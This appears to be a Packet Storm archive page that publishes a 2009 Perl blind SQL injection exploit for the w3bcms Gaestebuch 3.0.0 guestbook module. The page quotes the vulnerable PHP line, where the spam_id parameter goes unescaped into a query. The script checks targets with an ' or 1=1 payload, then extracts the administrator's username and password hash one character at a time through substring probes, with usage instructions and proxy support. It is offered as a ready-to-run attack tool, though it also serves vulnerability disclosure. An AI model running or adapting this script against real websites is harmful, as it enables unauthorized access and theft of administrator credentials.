exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

w3bcms Gaestebuch 3.0.0 SQL Injection

w3bcms Gaestebuch 3.0.0 SQL Injection
Posted Apr 11, 2009
Authored by DNX

w3bcms Gaestebuch version 3.0.0 blind SQL injection exploit.

tags | exploit, sql injection
SHA-256 | 1c4baf476dc11e43c2135a14c2c84a5e29ace90e5256b24a9885b69be7ce168f

w3bcms Gaestebuch 3.0.0 SQL Injection

Change Mirror Download
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use Getopt::Long;

# \#'#/
# (-.-)
# ------------------oOO---(_)---OOo-----------------
# | __ __ |
# | _____/ /_____ ______/ /_ __ ______ ______ |
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |
# | Security Research Division /____/ 2oo9 |
# --------------------------------------------------
# | w3bcms Gaestebuch v3.0.0 Blind SQL Injection |
# | (requires magic_quotes_gpc = Off) |
# --------------------------------------------------
# [!] Discovered.: DNX
# [!] Vendor.....: http://www.w3bcms.de
# [!] Detected...: 26.03.2009
# [!] Reported...: 29.03.2009
# [!] Response...: xx.xx.2009
#
# [!] Background.: CMS features in the frontend:
# » Ausgabe angelegter Seiten
# » Integrierter sicherer Spamschutz (kein Captcha!)
# » CMS Features wie Slogan Rotation, Datumausgabe, Seitenanzeige
# » Integrierter Besuchercounter (versteckt/sichtbar)
# <b>» Sicherheit gegen Hackangriffe</b>
# » Schnelle Datenbankabfragen
# » 100% Suchmaschinenoptimiert (SEO)
# » Erweiterbar durch Module & Addons
# » Unterstützt Mod Rewrite URL's (optional)
#
# [!] Bug........: $_POST['spam_id'] in includes/module/book/index.inc.php near line 42
#
# 37: } else if (isset($_GET['action']) && $_GET['action'] == "eintragen" && $modul_settings['aktiv'] == "0") {
# 38:
# 39: $_POST['spamschutz'] = mysql_real_escape_string($_POST['spamschutz']);
# 40: $_POST['spamschutz'] = strtolower($_POST['spamschutz']);
# 41:
# 42: $data = mysql_fetch_assoc(mysql_query("SELECT * FROM spamschutz WHERE id='".$_POST['spam_id']."' AND antwort='".$_POST['spamschutz']."'"));
#
# [!] Solution...: no response from vendor but the vendor has updated the module package
#

if(!$ARGV[2])
{
print "\n \\#'#/ ";
print "\n (-.-) ";
print "\n ----------------oOO---(_)---OOo-----------------";
print "\n | w3bcms Gaestebuch v3.0.0 Blind SQL Injection |";
print "\n | coded by DNX |";
print "\n ------------------------------------------------";
print "\n[!] Usage: perl w3bcms.pl [Target] <Options>";
print "\n[!] Example: perl w3bcms.pl -2 -u \"http://127.0.0.1/w3b/index.php?seite=2.gaestebuch\"";
print "\n[!] Targets:";
print "\n -1 Get admin username";
print "\n -2 Get admin password hash";
print "\n[!] Options:";
print "\n -u [url] URL to vuln website";
print "\n -p [ip:port] Proxy support";
print "\n";
exit;
}

my %options = ();
GetOptions(\%options, "1", "2", "u=s", "p=s");
my $ua = LWP::UserAgent->new();
my $target = $options{"u"}."&action=eintragen";

if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}

print "[!] Exploiting...\n";

check_bug($target);

if($options{"1"}) { get_username($target); }
elsif($options{"2"}) { get_password($target); }

print "\n[!] Exploit done\n";

sub check_bug
{
my $url = shift;
syswrite(STDOUT, "[!] Checking bug @ website: " , 28);
my $inj = "' or 1=1/*";
my $req = POST $url, [spam_id => $inj];

my $res = $ua->request($req);
if($res->content =~ /Bitte geben Sie Ihren Namen an/)
{
syswrite(STDOUT, "vuln", 4);
print "\n";
}
else
{
syswrite(STDOUT, "not vuln", 8);
exit;
}
}

sub get_username
{
my $target = shift;
syswrite(STDOUT, "[!] Get username: ", 18);
for(my $i = 1; $i <= 32; $i++)
{
my $found = 0;
my $h = 32;
while(!$found && $h <= 126)
{
if(exploit($target, $i, $h, "benutzername"))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
$h++;
}
}
}

sub get_password
{
my $target = shift;
syswrite(STDOUT, "[!] Get Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
my $found = 0;
my $h = 48;
while(!$found && ($h <= 57 || $h <= 102))
{
if(exploit($target, $i, $h, "passwort"))
{
$found = 1;
syswrite(STDOUT, chr($h), 1);
}
if($h == 57)
{
$h = 97;
}
else
{
$h++;
}
}
}
}

sub exploit
{
my $url = shift;
my $i = shift;
my $h = shift;
my $c = shift;
my $inj = "' or 1=1 and substring((select ".$c." FROM admin limit 1),".$i.",1)=CHAR(".$h.")/*";
my $req = POST $url, [spam_id => $inj];

my $res = $ua->request($req);
if($res->content =~ /Bitte geben Sie Ihren Namen an/)
{
return 1;
}
else
{
return 0;
}
}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close